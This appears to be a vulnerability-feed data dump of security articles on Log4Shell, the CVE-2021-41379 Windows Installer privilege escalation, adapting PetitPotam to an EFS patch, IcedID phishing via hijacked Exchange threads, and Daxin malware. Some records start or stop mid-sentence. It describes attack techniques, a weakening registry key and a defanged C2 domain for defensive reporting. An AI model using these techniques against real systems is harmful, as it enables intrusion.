program](<https://www.rapid7.com/fundamentals/cloud-security/>), and prioritize the most commonly exploited risks in your organization's environment.\n\n## Reason 2: Learn from industry experts, and get CPE credits\n\nAlong with a handful of team member\u2019s from Rapid7\u2019s own cloud security practice, this year\u2019s summit includes a host of subject matter experts from across the industry. You can look forward to hearing from Merritt Baer, Principal in the Office of the CISO at Amazon Web Services; Anthony Seto, Field Director for Cloud Native Application Security at Snyk; Keith Hoodlet, Code Security Architect at GitHub; and more. And that doesn\u2019t even include the InsightCloudSec customers who will be joining to share their expert perspectives as well.\n\nWhile learning and knowledge gain are clearly the most important aspects here, it\u2019s always great to have something extra to show for the time you devoted to an event like this. To help make the case to your management that this event is more than worth the time you\u2019ll put in, we\u2019ve arranged for all attendees to earn 3.5 continuing professional education (CPE) credits to go toward maintaining or upgrading security certifications, such as [CISSP](<https://www.isc2.org/Certifications/CISSP#>), [CISM](<https://www.isaca.org/credentialing/cism/maintain-cism-certification>), and more. \n\n## Reason 3: Be the first to hear exciting Rapid7 announcements\n\nLast but not least, while the event is primarily focused on cloud security research, strategies, and thought leadership, we are also planning to pepper in some exciting news related to [InsightCloudSec](<https://www.rapid7.com/products/insightcloudsec/>), Rapid7\u2019s cloud-native security platform. \n\nWe\u2019ll end the day with a demonstration of the product, so you can see some of our newest capabilities in action. Whether you're already an InsightCloudSec customer, or considering a new solution for uncovering misconfigurations, automating cloud security workflows, shifting left, and more, this is the best way to get a live look at one of the top solutions available in the market today. \n\nSo what are you waiting for? Come join us, and let\u2019s dive into the latest and greatest in cloud security together.\n\n#### Join our 2022 Cloud Security Summit\n\n[Register Now](<https://www.rapid7.com/info/events-2022/rapid7-cloud-security-summit/>)\n\n \n\n\n \n**_Additional reading_**\n\n * _[Cloud Security and Compliance: The Ultimate Frenemies of Financial Services](<https://www.rapid7.com/blog/post/2022/02/17/cloud-security-and-compliance-the-ultimate-frenemies-of-financial-services/>)_\n * _[Stay Ahead of Threats With Cloud Workload Protection](<https://www.rapid7.com/blog/post/2021/12/10/stay-ahead-of-threats-with-cloud-workload-protection/>)_\n * _[InsightCloudSec Supports 12 New AWS Services Announced at re:Invent](<https://www.rapid7.com/blog/post/2021/12/06/insightcloudsec-supports-12-new-aws-services-announced-at-re-invent/>)_\n * _[Kubernetes Guardrails: Bringing DevOps and Security Together on Cloud](<https://www.rapid7.com/blog/post/2021/12/06/kubernetes-guardrails-bringing-devops-and-security-together-on-cloud/>)_", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-09T17:06:13", "type": "rapid7blog", "title": "3 Reasons to Join Rapid7\u2019s Cloud Security Summit", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-03-09T17:06:13", "id": "RAPID7BLOG:45B045D2EE21432DF9939E4402522BFC", "href": "https://blog.rapid7.com/2022/03/09/3-reasons-to-join-rapid7s-cloud-security-summit/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-01-19T23:31:00", "description": "![\\[Security Nation\\] Mike Hanley of GitHub on the Log4j Vulnerability](https://blog.rapid7.com/content/images/2022/01/security_nation_logo.jpg)\n\nIn our first episode of Security Nation Season 5, Jen and Tod chat with Mike Hanley, Chief Security Officer at GitHub, all about the major vulnerability in Apache\u2019s Log4j logging library (aka Log4Shell).

While we are still recovering from the aftermath of [Log4Shell](<https://www.rapid7.com/log4j-cve-2021-44228-resources/>), the recent [ContiLeaks](<https://www.rapid7.com/blog/post/2022/03/01/conti-ransomware-group-internal-chats-leaked-over-russia-ukraine-conflict/>) exposed multiple vulnerabilities that have been exploited by the Conti ransomware group. It\u2019s critical for your team to identify the risk posed by such vulnerabilities and implement necessary remediation measures. As you will see, the product updates our vulnerability management (VM) team has made to [InsightVM](<https://www.rapid7.com/products/insightvm/>) and [Nexpose](<https://www.rapid7.com/products/nexpose/>) in the last quarter will empower _you_ to stay in charge \u2014 not the vulnerabilities.\n\nBut that\u2019s not all we\u2019ve improved on. We\u2019ve increased the scope of vulnerabilities tracked by incorporating [CISA\u2019s known exploited vulnerabilities (KEV)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) in the Threat Feed, usability enhancements, targeted reporting and scanning, and Log4Shell mitigation checks. And we\u2019ve released our annual [Vulnerability Intelligence Report](<https://www.rapid7.com/products/insightvm/vulnerability-report-hub-page/>) to help you make sense of the vulns that impacted us last year and understand the trends that we will all be facing this year. Our team also offers practical guidance to help the security teams better protect themselves.\n\nLet\u2019s dive into the key feature releases and updates on the vulnerability management front for Q1 2022.\n\n## [InsightVM] ContiLeaks Helpful Query to easily detect ContiLeaks vulns and ensure compliance\n\nCISA\u2019s KEV catalog is part of the agency\u2019s [binding operative directive](<https://www.cisa.gov/binding-operational-directive-22-01>) that has reporting requirements for federal agencies and civilian contractors. The recent ContiLeaks revealed over 30 vulns that are now a part of CISA\u2019s KEV. While users could always build a query in IVM to identify these vulns, doing so is time-consuming and can be prone to error. The ContiLeaks Helpful Query takes out the manual effort and lets customers easily locate 30+ ContiLeaks vulnerabilities in their environments. When the query is loaded into our Specific Vulnerability Dashboard template, it can give an at-a-glance view of the company\u2019s risk posture as it relates to the Conti threat. In addition to helping customers identify the exploited vulnerabilities in their environment, the update will also help them stay within the bounds of CISA\u2019s operative directive.\n\n\n\n\n\n## [InsightVM] Threat feed dashboard now includes CISA\u2019s KEV catalog\n\nWhile we are on the topic of CISA, you will be excited to learn that we have expanded the scope of vulnerabilities tracked to incorporate CISA\u2019s KEV catalog in the InsightVM [Threat Feed Dashboard](<https://www.rapid7.com/blog/post/2017/06/13/live-threat-driven-prioritization/>), including the **Assets With Actively Targeted Vulnerabilities** card and the **Most Common Actively Targeted Vulnerabilities** card. The CISA inclusion makes it easy to see how exposed your organization is to active threats and inform prioritization decisions around remediation efforts. \n\nWe have also added a new \u201cCISA KEV (known exploited vulnerability)\u201d vulnerability category to allow for more targeted scanning (i.e. scanning the environment for CISA KEV entries only). You can also use the CISA KEV category to filter scan reports.\n\n\n\n## \n\n## [Insight VM and Nexpose] A new credential type to support scanning Oracle Databases by Service Name\n\nInsightVM and Nexpose customers have always been able to scan Oracle databases using SIDs (system identifiers) but were previously unable to provide a Service Name in the credential. This meant a gap in visibility for Oracle databases that could only be accessed via their Service Name. We were not happy with this limitation. Now, you now configure Oracle Database scans to specify a Service Name instead of an SID (you can still use the SID, if you want!) when authenticating. You now have the visibility into a wider range of deployment configurations of Oracle Database and the ability to configure scan using Service Name or SID.\n\n\n\n## [Insight VM and Nexpose] Automatic Scan Assistant credentials generation\n\nLast year, [we introduced Scan Assistant](<https://www.rapid7.com/blog/post/2022/02/18/whats-new-in-insightvm-and-nexpose-q4-2021-in-review/>), which alleviates the credential management (for Scan Engine) burden on vulnerability management teams. For the Scan Assistant to communicate with the Scan Engine, it requires digital certificates to be manually created and deployed on both the target assets and the Nexpose / IVM Security Console. Manually creating the public / private key pair is a complex and error-prone process. \n\nWith this update, we are taking some more burden off the vulnerability management teams. You can now use the Shared Credentials management UI to automatically generate Scan Assistant credentials. This not only reduces the technical expertise and time required to manage Scan Assistant credentials but also makes for a user-friendly experience for you.\n\nLearn more in our recent blog post on [passwordless scanning](<https://www.rapid7.com/blog/post/2021/10/18/passwordless-network-scanning-same-insights-less-risk/>).\n\n\n\n## [Insight VM and Nexpose] Log4Shell mitigation checks\n\nThe product improvements list would be incomplete without an update on Log4Shell.\n\nIf you are vulnerable to Log4Shell, you can edit the JAR files on a system to take out the vulnerable code and thus not get exploited. However, it is difficult to keep a check on this manually. This update adds that extra capability to not only look at the version of Log4j that was present in your environment but also check if it has been mitigated \u2014 i.e., if the vulnerable code is removed.\n\nAuthenticated scans and Agent-based assessments can now determine whether the JNDILookup class removal mitigation for Log4Shell has been applied to Log4j JAR files on Windows systems. This will reduce the number of reports of the vulnerability on systems that are not exploitable. We also added an Obsolete Software vulnerability check for Log4j 1.x, which will let you find obsolete versions of Log4j in your environment.\n\n## Stay in charge\n\nAs always, we hope these updates will make it easier for you to stay ahead of vulnerabilities. \n\nIt almost felt like the quarter might end on a calm note, but then the world of cybersecurity never has a dull moment. The end of the quarter saw Spring4Shell, another zero-day vulnerability in the Spring Core module of Spring Framework.

Now that it\u2019s 2022, we\u2019re feeling in need of some holiday cheer, and we hope you\u2019re still in the spirit of the season, too. Throughout January, we\u2019ll be publishing Hacky Holidays content (with a few tweaks, of course) to give the new year a festive start. So, grab an eggnog latte, line up the carols on Spotify, and let\u2019s pick up where we left off._\n\nWhile it's always nice to receive gifts, the holiday season is more about giving \u2013 whether you're buying something nice for the people you love or giving back to the community to help ensure others enjoy the holidays as much as you do.\n\nGiving back is exactly what we'll be focusing on in today's [Hacky Holidays](<https://www.rapid7.com/blog/post/2021/12/02/hacky-holidays-from-rapid7-announcing-our-new-festive-blog-series/>) post, as it's a theme that truly resonates with those in the security industry. From white-hat hackers to those volunteering their time to make the internet a safer, more inclusive space, we've highlighted a few security-related projects that exemplify the spirit of giving back.\n\n## 1\\. The Innocent Lives Foundation\n\n[The Innocent Lives Foundation](<https://www.innocentlivesfoundation.org/>) aims to identify child predators and help bring them to justice. They do this by leveraging the combined power of the information security community to create tools that unmask anonymous child predators online. Then, using the data from Open Source Intelligence and cutting-edge techniques, they build a path to capturing evidence and then pass on those details to law enforcement for them to recreate.\n\nThe Innocent Lives Foundation was first started by Chris Hadnagy, who [joined us on an episode of our Security Nation podcast](<https://www.rapid7.com/blog/post/2020/01/30/how-the-innocent-lives-foundation-uses-osint-to-uncover-predators/>) back in 2020. He worked on a few cases at Social-Engineer, LLC, that tracked and captured predators who trafficked and exploited children. When he saw the impact these crimes had on innocent people, he knew he had to do something about it. As a leader in the information security community, he chose to rally a group of security experts and professionals in the social engineering field to address these problems and prevent crimes against future victims.\n\nThe foundation is serving endangered children and building a world in which all children can live innocent lives. It's difficult, emotionally taxing work, but it's making the world a better place, and it's the perfect example of giving back.\n\nIf you'd like to donate to the cause \u2014 it can cost up to $10,000 to produce one file to send to law enforcement, so donations are needed and welcomed \u2014 you can do so [here](<https://www.innocentlivesfoundation.org/donate/>). Aside from donating, there are numerous other ways to [get involved](<https://www.innocentlivesfoundation.org/get-involved/>), including reporting a case, sharing support online, or even volunteering your security skills when applications are opened.\n\n## 2\\. No More Ransom\n\nToday, ransomware is rampant. This fact won't surprise anyone working in the security industry, but many normal users around the world don't know what ransomware is, how to defend against it, and what to do if they fall victim to a scam. That's where [No More Ransom](<https://www.nomoreransom.org/en/index.html>) comes into play.\n\nNo More Ransom is an initiative by the National High Tech Crime Unit of the Netherlands' police, Europol's European Cybercrime Centre, Kaspersky, and McAfee with a simple mission: to help victims of ransomware retrieve their encrypted data without paying criminals a single dime in the process.\n\nThe initiative aims to achieve this mission in two ways:\n\n 1. By compiling a [repository of keys and applications](<https://www.nomoreransom.org/en/decryption-tools.html>) that can decrypt data locked by different types of ransomware\n 2. By [spreading awareness about ransomware](<https://www.nomoreransom.org/en/ransomware-qa.html>) and educating the world about prevention methods they can employ in their daily lives\n\nWhile it's not always possible to regain access to files encrypted by or systems locked by ransomware, No More Ransom has helped many do exactly that with its repository. And by sharing simple, easy-to-follow cybersecurity advice, the initiative is creating a better informed world of users who understand how to prevent falling victim to ransomware in the first place.\n\nIn the 5 years of since its creation, the [No More Ransom initiative](<https://www.rapid7.com/blog/post/2021/07/26/decrypter-fomo-no-mo-five-years-of-the-no-more-ransom-project/>) has:\n\n * Built a library of 121 free tools\n * Been able to decrypt 151 ransomware families\n * Seen more than 6 million downloads of its tools\n * Prevented $900 million in criminal profit\n\nIf you'd like to do your part, the No More Ransom project is always looking for [new partners](<https://www.nomoreransom.org/en/partners.html>) to spread their messaging, so if your organization wants to be more security-minded and give back to the security community in general, consider joining the list of many partners. If you ever fall victim to ransomware, you can also [report the crime](<https://www.nomoreransom.org/en/report-a-crime.html>), which will help identify new types of ransomware and aid future prevention.\n\n## 3\\.

Security teams have been working around the clock investigating whether they have instances of Log4j in their environment. You are likely very familiar with everything regarding Log4Shell, but if you are looking for more information, you can check out our [Everyperson\u2019s Guide to Log4Shell (CVE-2021-44228)](<https://www.rapid7.com/blog/post/2021/12/15/the-everypersons-guide-to-log4shell-cve-2021-44228/>). In this blog, we will share how Rapid7 customers can test for Log4Shell with [InsightAppSec](<https://www.rapid7.com/products/insightappsec/>). \n\n## Testing for Log4Shell with InsightAppSec \n\nWith InsightAppSec, our [dynamic application security testing (DAST)](<https://www.rapid7.com/fundamentals/dast/>) solution, customers can assess the risk of their applications. InsightAppSec allows you to configure various attacks of your applications to identify response behaviors that make your applications more vulnerable to attacks. These attacks are run during scans that you can customize based on your needs. In this case, we\u2019ve introduced a new default attack template for Out of Band Injection specific to Log4Shell attacks.\n\nWhat\u2019s this mean? Customers can now run an [Out of Band Attack Injection](<https://docs.rapid7.com/insightappsec/detect-log4j>) from our default template, which includes an attack type for Log4Shell. The new default Out of Band attack template in InsightAppSec will perform sophisticated web application attacks that do not rely on traditional HTTP request-response interactions. Our Log4Shell vulnerability detection will simulate an attacker on your website. InsightAppSec will validate the exploitability of the application and the associated risk.\n\n## How to run a Log4Shell attack in InsightAppSec\n\nYou can scan for this new Out of Band attack using either a new attack template we have created or by creating your own custom attack template and selecting this new attack module. We have added some highlights below, but you can find a detailed guide via our [help docs](<https://docs.rapid7.com/insightappsec/detect-log4j>).\n\n### Attack templates\n\n_Out of Band Injection attack template_\n\n\n\n_Out of band Log4Shell attack module_\n\n\n\n### Run a scan\n\n_Scan Config_\n\nDepending on the choice of either using the new Out of Band Injection attack template or creating your own custom attack module, you now need to choose this template on your scan config and run a scan against your selected app(s).\n\n\n\n### Scan results\n\nNow you run your scan, you can review your scan results to see if your app(s) have any findings that could be exposed as per the details in CVE-2021-44228.\n\n\n\n \n\n\n## What\u2019s next? \n\nThough official mitigation steps are changing as new information arises, we recommend that applications upgrade Log4j to at least version 2.3.1 for Java 6, 2.12.3 for Java 7, or 2.17.0 for Java 8 and later, but preferably the latest version available to fix any new issues as they are discovered. If upgrading Log4j is not an option, the Apache Software Foundation advises that in any release other than 2.16.0, you can remove the JndiLookup class from the log4j-core class path, but we recommend only using this method when upgrading is not possible. If you\u2019re looking to validate any fixes have been implemented, feel free to run a validation scan with InsightAppSec to verify the fixes have been made.\n\nIf you\u2019re looking for additional information on how Rapid7 can help support you during this time, check out our [Log4j resource hub](<https://www.rapid7.com/log4j-cve-2021-44228-resources/>).", "cvss3": {"exploitabilityScore": 3.9,

are actively making efforts to exploit a new variant of a recently disclosed privilege escalation vulnerability to potentially execute arbitrary code on fully-patched systems, once again demonstrating how adversaries move quickly to weaponize a publicly available exploit.\n\nCisco Talos [disclosed](<https://blog.talosintelligence.com/2021/11/attackers-exploiting-zero-day.html>) that it \"detected malware samples in the wild that are attempting to take advantage of this vulnerability.\"\n\nTracked as [CVE-2021-41379](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41379>) and discovered by security researcher Abdelhamid Naceri, the elevation of privilege flaw affecting the Windows Installer software component was originally resolved as part of Microsoft's [Patch Tuesday updates](<https://thehackernews.com/2021/11/microsoft-issues-patches-for-actively.html>) for November 2021.\n\nHowever, in what's a case of an insufficient patch, Naceri found that it was not only possible to bypass the fix implemented by Microsoft but also [achieve](<https://twitter.com/wdormann/status/1462607586272976901>) local privilege escalation via a newly discovered zero-day bug.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEgAfxkfmkohSpEjMhQZH5LNqwQ1pen7O9L6K2QMRFBjQt_93j5vdXaqk25vj1EgZFyrSPMKMbPL_H_4wzzfmo8AD1z11O900nY3rqYMjhBmVpXrXb-PnYDbp3RrkfeTpctYgyD4wSlXli4azzDxKLTfqLL2Qqs-uPTjf7HbPXJTwIniEqWf1DChqwZW>)\n\nThe proof-of-concept (PoC) exploit, dubbed \"[InstallerFileTakeOver](<https://github.com/klinix5/InstallerFileTakeOver>),\" works by overwriting the discretionary access control list ([DACL](<https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists>)) for Microsoft Edge Elevation Service to replace any executable file on the system with an MSI installer file, allowing an attacker to run code with SYSTEM privileges.\n\nAn attacker with admin privileges could then abuse the access to gain full control over the compromised system, including the ability to download additional software, and modify, delete, or exfiltrate sensitive information stored in the machine.\n\n\"Can confirm this works, local priv esc.

Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services).\n\nThe vulnerability in question was listed as [CVE-2021-41379](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41379>) and is a local Windows Installer Elevation of Privilege (EoP) vulnerability. If successfully exploited, the bypass could give attackers SYSTEM privileges on up-to-date devices running the latest Windows releases, including Windows 10, Windows 11, and Windows Server 2022.\n\nBy exploiting this zero-day, threat actors that already have limited access to compromised systems can elevate their privileges and use these privileges to spread laterally within a target network.\n\n### The patch\n\nMicrosoft patched the vulnerability in the [November Patch Tuesday updates](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/11/patch-now-microsoft-plugs-actively-exploited-zero-days-and-other-updates/>). But according to the researcher, the bug was not fixed correctly. He discovered a new variant during the analysis of the CVE-2021-41379 patch.\n\nWith the new variant, an attacker will be able to run programs with a higher privilege than they are entitled to. To be clear, an attacker using the new variant must already have access and the ability to run code on a target victim's machine, but now they can run the code with SYSTEM privileges thanks to the exploit.\n\n### The frustration\n\nThe researcher appears to have been so disappointed in Microsoft after he responsibly disclosed the vulnerability by means of the [Trend Micro zero-day initiative](<https://www.zerodayinitiative.com>), that he decided to skip that path altogether when he found the new method to bypass the patch. The researcher published a new version of the proof of concept (PoC) exploit, which is even more powerful than the original exploit.\n\nApparently the main reason for his frustration was the reward level.\n\n\u201c\u201cMicrosoft\u2019s rewards have been very bad since April 2020; the community wouldn\u2019t make these kinds of decisions if Microsoft took its rewards seriously.\u201d\n\n### In the wild\n\nSeveral security vendors have noticed malware samples in the wild that are attempting to take advantage of this vulnerability. A quick search on VirusTotal showed dozens of different files that tried to do this. This may be some threat actors testing the exploit code to turn it into something they can use in their attacks, along with some researchers trying out different ways to use and stop the exploit.

I was getting strange results. Working on one system, but not another at the same patch level. I\u2019d seriously polluted that environment with Windows Endpoint Manager, so I decided to spin up a fresh AD environment in hopes of establishing a trustworthy baseline.\n\nOnce I\u2019d stood up the new AD environment, and patched everything completely (through January 2022), I retested my proof of concept and was\u2026 unhappy and more than a bit confused with the result. Seeking additional feedback, I grabbed PetitPotam off the shelf since it\u2019s a simpler attack. But that didn\u2019t work either! That\u2019s when I found the following in the event log.\n\n\n\nWhich lead me to [KB5009763: EFS security hardening changes in CVE-2021-43217](<https://support.microsoft.com/en-au/topic/kb5009763-efs-security-hardening-changes-in-cve-2021-43217-719fbc9d-ad9b-4f90-a964-0afe40338002>). [CVE-2021-43217](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43217>) is a buffer overflow affecting EFS, but it isn\u2019t related to what I was attempting to do. Regardless, the way Microsoft decided to address this CVE was to require EFSRPC clients to use packet-level privacy, and, at the time of testing, the PetitPotam proof of concept didn\u2019t.\n\nWe can further prove that out by creating the registry key mentioned by the KB to disable this behavior: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EFS\\AllowAllCliAuth. Setting this key to \u20181\u2019 allows PetitPotam to successfully leak the NTLM hash, but it also leaves this log message:\n\n\n\nGreat! PetitPotam still works, but this registry key is unlikely to be enabled in the wild. It doesn\u2019t even exist by default!\n\nThe obvious solution is just to enable privacy level authentication in PetitPotam. That happens to be quite trivial. Just use the [`RpcBindingSetAuthInfo`](<https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-rpcbindingsetauthinfow>) function after the binding handle has been created. The following is a patch I added to my local PetitPotam to test enabling privacy level authentication.\n \n \n albinolobster@ubuntu:~/PetitPotam$ cat diff \n diff --git a/PetitPotam/PetitPotam.cpp b/PetitPotam/PetitPotam.cpp\n index 1885eb2..debbd1e 100644\n --- a/PetitPotam/PetitPotam.cpp\n +++ b/PetitPotam/PetitPotam.cpp\n @@ -1,6 +1,7 @@\n // PetitPotam.cpp : Ce fichier contient la fonction 'main'.

The researcher posted a [proof of concept (POC) exploit](<https://github.com/klinix5/InstallerFileTakeOver>) Tuesday on GitHub for the newly discovered bug that he said works on all currently-supported versions of Windows.\n\nIf exploited, the POC, called InstallerFileTakeOver, gives an actor administration privileges in Windows 10, Windows 11 and Windows Server when logged onto a Windows machine with Edge installed.\n\n## **Peer Research Confirms Exploit and Active Attacks**\n\nResearchers at Cisco Talos Security Intelligence and Research Group as well as others confirmed the POC can be reproduced as well as corroborating evidence that threat actors were already exploiting the bug.\n\n\u201cThis vulnerability affects every version of Microsoft Windows, including fully patched Windows 11 and Server 2022,\u201d according to a [post on the Cisco Talos blog](<https://blog.talosintelligence.com/2021/11/attackers-exploiting-zero-day.html>) by\n\nJaeson Schultz, technical leader for Cisco Talos. \u201cTalos has already detected malware samples in the wild that are attempting to take advantage of this vulnerability.\u201d\n\nOther researchers also confirmed on Twitter that the POC functions as advertised to deliver local privilege escalation.\n\n\u201cCan confirm this works, local priv esc,\u201d [tweeted](<https://twitter.com/GossiTheDog/status/1462721449425264645?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1462721449425264645%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Fwww.theregister.com%2F2021%2F11%2F23%2Fwindows_lpe%2F>) security researcher [Kevin Beaumont](<https://twitter.com/GossiTheDog>), who said he tested it on Windows 10 20H2 and Windows 11. \u201cThe prior patch MS issued didn\u2019t fix the issue properly.\u201d\n\n## **Discovery and More Details**\n\nAs detailed by Microsoft, CVE-2021-41379 is a Windows Installer elevation of privilege vulnerability with a rating of low on the Common Vulnerability Scoring System.\n\n\u201cAn attacker would only be able to delete targeted files on a system,\u201d according to [Microsoft\u2019s notes](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41379>) on the flaw. \u201cThey would not gain privileges to view or modify file contents.\u201d\n\nHowever, Microsoft\u2019s patch for the bug did not fix the vulnerability correctly, allowing Naceri to bypass it during his analysis of the patch, he said in his GitHub post of the POC.\n\nHowever, that bypass was small potatoes compared to a variant of CVE-2021-41379 that he discovered during his research that is \u201cmore powerful than the original one,\u201d which is why Naceri chose to publish a POC of that flaw instead, he wrote.\n\nThe code Naceri released leverages the discretionary access control list (DACL) for Microsoft Edge Elevation Service to replace any executable file on the system with an MSI file, allowing an attacker to run code as an administrator, Cisco Talos\u2019 Schultz explained in his post.\n\n## **Wait for the Patch**\n\nThe associated POC works in every supporting windows installation, including Windows 11 and Server 2022 with the November 2021 patch, as well as in server installations, Naceri wrote.\n\n\u201cWhile group policy by default doesn\u2019t allow standard users to do any MSI operation, the administrative install feature thing seems to be completely bypassing group policy,\u201d he wrote.\n\nDue to the \u201ccomplexity\u201d of the vulnerability, Naceri said that the best workaround available for the flaw at this time \u201cis to wait Microsoft to release a security patch.\n\n\u201cAny attempt to patch the binary directly will break Windows installer,\u201d he wrote, adding that those affected should \u201cwait and see how Microsoft will screw the patch again\u201d before taking any mitigation action.\n\nA Microsoft spokesperson told BleepingComputer that the company is aware of Naceri\u2019s disclosure and \u201cwill do what is necessary\u201d to keep customers \u201csafe and protected,\u201d according to [a published report](<https://www.bleepingcomputer.com/news/security/malware-now-trying-to-exploit-new-windows-installer-zero-day/>).\n\n\u201cAn attacker using the methods described must already have access and the ability to run code on a target victim\u2019s machine,\u201d the spokesperson said, according to the report.\n\n**_Cybersecurity for multi-cloud environments is notoriously challenging.

Attackers also are using stealthy new payload-delivery tactics to spread the modular malware.\n\nResearchers from [Intezer](<https://www.intezer.com/>) earlier this month uncovered the campaign, which employs thread hijacking to send malicious messages from stolen Exchange accounts, thus adding an extra level of evasion to the campaign\u2019s malicious intent, wrote researchers [Joakim Kennedy](<https://www.intezer.com/author/jkennedy/>) and [Ryan Robinson](<https://www.intezer.com/author/ryanrobinson/>) [in a blog post](<https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/>) published Monday.\n\nThe actors behind IcedID \u2013 as well as other spearphishers \u2013 have previously used phishing emails that \u201creuse previously stolen emails to make the lure more convincing,\u201d researchers wrote. However, this time the threat has evolved in a couple of key ways that make it even more dangerous to targets, which include organizations within energy, healthcare, law and pharmaceutical sectors, researchers noted.\n\nNot only is the threat actor now using compromised Microsoft Exchange servers to send the phishing emails from the account that they stole from, but the delivery of the malicious payload also has shifted in a way that can execute malware without the user even knowing, researchers said.\n\n\u201cThe payload has also moved away from using office documents to the use of ISO files with a Windows LNK file and a DLL file,\u201d researchers wrote. \u201cThe use of ISO files allows the threat actor to bypass the [Mark-of-the-Web](<https://attack.mitre.org/techniques/T1553/005/>) controls, resulting in execution of the malware without warning to the user.\u201d\n\nPreviously the infection chain most commonly associated with IcedID phishing campaigns has been an email with an attached password-protected ZIP archive that contains a macro-enabled Office document, which executes the IcedID installer.\n\n## **Breakdown of the Attack Chain**\n\nThe new campaign starts with a phishing email that includes a message about an important document and includes a password-protected ZIP archive file attached, the password for which is included in the email body.\n\nThe email seems extra convincing to users because it uses what\u2019s called \u201cthread hijacking,\u201d in which attackers use a portion of a previous thread from a legitimate email found in the inbox of the stolen account.\n\n\u201cBy using this approach, the email appears more legitimate and is transported through the normal channels which can also include security products,\u201d researchers wrote.\n\nThe majority of the originating Exchange servers that researchers observed in the campaign appear to be unpatched and publicly exposed, \u201cmaking the ProxyShell vector a good theory,\u201d they wrote. [ProxyShell](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) is a remote-code execution (RCE) bug discovered in Exchange Servers last year that has since been patched but has been [throttled by attackers](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>).\n\nOnce unzipped, the attached file includes a single \u201cISO\u201d file with the same file name as the ZIP archive that was created not that long before the email was sent. That ISO file includes two files: a LNK file named \u201cdocument\u201d and a DLL file named \u201cmain,\u201d also prepared relatively recently and potentially used in previous phishing email, researchers said.\n\nWhen a user double clicks the LNK file, it uses \u201cregsvr32\u201d to execute the DLL file, which allows for proxy execution of malicious code in main.dll for defense evasion, they wrote in the post. The DLL file is a loader for the IcedID payload.\n\nThe loader will locate the encrypted payload, which is stored in the resource section of the binary, through the technique API hashing. The resulting hash is then compared with a hardcoded hash, locating the call for FindResourceA, which is dynamically called to fetch the encrypted payload, researchers wrote.\n\nThe ultimate step in the attack chain is that the IcedID \u201cGziploader\u201d payload is decoded and placed in memory and then executed. The GZiploader fingerprints the machine and sends a beacon to the command-and-control (C2) server \u2013 located at yourgroceries[.]top_._ \u2013 with information about the infected host, which then can be used for further nefarious activity.\n\n## **Evolution of a Threat**\n\nResearchers at IBM first discovered IcedID [back in 2017](<https://threatpost.com/new-icedid-trojan-targets-us-banks/128851/>) as a trojan targeting banks, payment card providers, mobile services providers, payroll, web mail and e-commerce sites.\n\nThe malware has [evolved over the years](<https://threatpost.com/botnet-operators-team-up-to-leverage-icedid-trickbot-trojans/132392/>) and already has a storied history of clever obfuscation.

Instead, it can abuse any legitimate services already running on the infected computers.\u201d\n\nIt communicates with legitimate services via network tunneling, they added \u2013 and further, it can set up daisy-chain communications, researchers added to move internally via hops between several linked computers.\n\n\u201cDaxin is also capable of relaying its communications across a network of infected computers within the attacked organization,\u201d they said. \u201cThe attackers can select an arbitrary path across infected computers and send a single command that instructs these computers to establish requested connectivity. This use case has been optimized by Daxin\u2019s designers.\u201d\n\nDaxin also can hijack legitimate TCP/IP connections. According to Symantec, it monitors all incoming TCP traffic for certain patterns, and when a preferred pattern is detected, it disconnects the legitimate recipient and takes over the connection.\n\n\u201cIt then performs a custom key exchange with the remote peer, where two sides follow complementary steps. The malware can be both the initiator and the target of a key exchange,\u201d according to the analysis. \u201cA successful key exchange opens an encrypted communication channel for receiving commands and sending responses. Daxin\u2019s use of hijacked TCP connections affords a high degree of stealth to its communications and helps to establish connectivity on networks with strict firewall rules. It may also lower the risk of discovery by SOC analysts monitoring for network anomalies.\u201d\n\nWhen all of this is put together, the result is that a single command message that includes all the details required to establish communication, specifically the node IP address, its TCP port number and the credentials to use during custom key exchange. When Daxin receives this message, it picks the next node from the list.\n\nThe research team linked Daxin to Chinese actors because it\u2019s usually deployed alongside tools known to be associated with Chinese espionage actors.\n\n\u201cMost of the targets appear to be organizations and governments of strategic interest to China,\u201d they added. \u201cDaxin is without doubt the most advanced piece of malware Symantec researchers have seen used by a China-linked actor.\u201d\n\n**_Moving to the cloud?

